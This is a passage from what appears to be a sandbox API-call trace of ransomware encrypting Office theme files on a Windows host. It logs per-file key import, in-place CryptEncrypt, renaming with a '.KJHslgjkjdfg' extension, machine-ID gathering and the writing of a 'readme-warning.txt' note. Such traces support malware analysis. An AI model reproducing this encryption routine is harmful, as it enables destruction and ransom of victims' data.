ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1 [0189.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.065] GetProcessHeap () returned 0x2ef0000 [0189.065] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.065] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.065] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.066] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0189.068] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.068] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.068] GetProcessHeap () returned 0x2ef0000 [0189.068] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.068] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.068] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.068] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.068] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.068] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.068] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.069] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.069] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.069] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.069] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.069] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.069] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x271, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x271, lpOverlapped=0x0) returned 1 [0189.069] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x280, dwBufLen=0x280 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x280) returned 1 [0189.069] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.069] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x280, lpOverlapped=0x0) returned 1 [0189.069] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.069] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.069] SetEndOfFile (hFile=0x12c) returned 1 [0189.071] GetProcessHeap () returned 0x2ef0000 [0189.071] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.071] GetProcessHeap () returned 0x2ef0000 [0189.071] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.inf.kjhslgjkjdfg")) returned 1 [0189.075] CloseHandle (hObject=0x12c) returned 1 [0189.075] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0189.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.076] GetProcessHeap () returned 0x2ef0000 [0189.076] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.076] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.076] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.076] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x9, lpOverlapped=0x0) returned 1 [0189.078] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.078] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.078] GetProcessHeap () returned 0x2ef0000 [0189.078] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.078] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.078] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.078] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.078] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.078] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.079] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.079] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.079] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.079] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.079] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.079] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.079] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x82c7, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x82c7, lpOverlapped=0x0) returned 1 [0189.080] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x82d0, dwBufLen=0x82d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x82d0) returned 1 [0189.080] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.080] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x82d0, lpOverlapped=0x0) returned 1 [0189.080] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.080] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x83a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.081] SetEndOfFile (hFile=0x12c) returned 1 [0189.083] GetProcessHeap () returned 0x2ef0000 [0189.083] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.083] GetProcessHeap () returned 0x2ef0000 [0189.083] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.083] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0189.091] CloseHandle (hObject=0x12c) returned 1 [0189.091] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0189.091] GetProcessHeap () returned 0x2ef0000 [0189.091] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.091] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.091] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0189.091] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.091] GetProcessHeap () returned 0x2ef0000 [0189.091] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0189.091] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.091] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0189.091] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.091] GetProcessHeap () returned 0x2ef0000 [0189.091] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0189.091] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.091] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0189.091] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.091] GetProcessHeap () returned 0x2ef0000 [0189.091] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0189.091] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.092] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0189.092] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.092] GetProcessHeap () returned 0x2ef0000 [0189.092] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.092] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.092] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0189.092] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.092] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0189.092] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0189.092] RegCloseKey (hKey=0x12c) returned 0x0 [0189.092] GetProcessHeap () returned 0x2ef0000 [0189.092] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0189.092] GetProcessHeap () returned 0x2ef0000 [0189.092] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.092] GetProcessHeap () returned 0x2ef0000 [0189.092] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.092] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.092] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0189.092] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.092] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0189.093] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.093] GetProcessHeap () returned 0x2ef0000 [0189.093] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.093] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0189.093] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0189.093] GetProcessHeap () returned 0x2ef0000 [0189.093] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0189.093] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\readme-warning.txt") returned 83 [0189.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.095] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0189.096] CloseHandle (hObject=0x12c) returned 1 [0189.097] GetProcessHeap () returned 0x2ef0000 [0189.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0189.097] GetProcessHeap () returned 0x2ef0000 [0189.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0189.097] GetProcessHeap () returned 0x2ef0000 [0189.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0189.097] GetProcessHeap () returned 0x2ef0000 [0189.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.097] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0189.097] GetProcessHeap () returned 0x2ef0000 [0189.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0189.097] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0189.097] GetProcessHeap () returned 0x2ef0000 [0189.097] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f425d0 [0189.097] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0189.097] GetProcessHeap () returned 0x2ef0000 [0189.097] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0189.097] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0189.098] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0189.098] GetProcessHeap () returned 0x2ef0000 [0189.098] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f10788 [0189.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.099] GetProcessHeap () returned 0x2ef0000 [0189.099] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.099] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.099] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.099] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x5, lpOverlapped=0x0) returned 1 [0189.101] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.101] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.101] GetProcessHeap () returned 0x2ef0000 [0189.101] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.101] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.101] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.101] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.101] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.101] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.101] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.101] SetFilePointerEx (in: hFile=0x12c, 